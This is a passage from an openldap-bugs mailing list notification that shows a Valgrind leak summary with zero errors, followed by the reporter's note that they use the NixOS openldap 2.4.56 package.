/nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libdl-2.32.so) ==20410== ==20410== LEAK SUMMARY: ==20410== definitely lost: 0 bytes in 0 blocks ==20410== indirectly lost: 0 bytes in 0 blocks ==20410== possibly lost: 0 bytes in 0 blocks ==20410== still reachable: 26,473 bytes in 103 blocks ==20410== suppressed: 0 bytes in 0 blocks ==20410== ==20410== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0) ------------------------------------------------- I'm using the NixOS package for openldap 2.4.56 for which you can find the build process here: https://github.com/NixOS/nixpkgs/blob/master/pkgs/development/libraries/ope…. The code for my executable is attached. -- You are receiving this mail because: You are on the CC list for the issue.

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openldap-bugs July 2021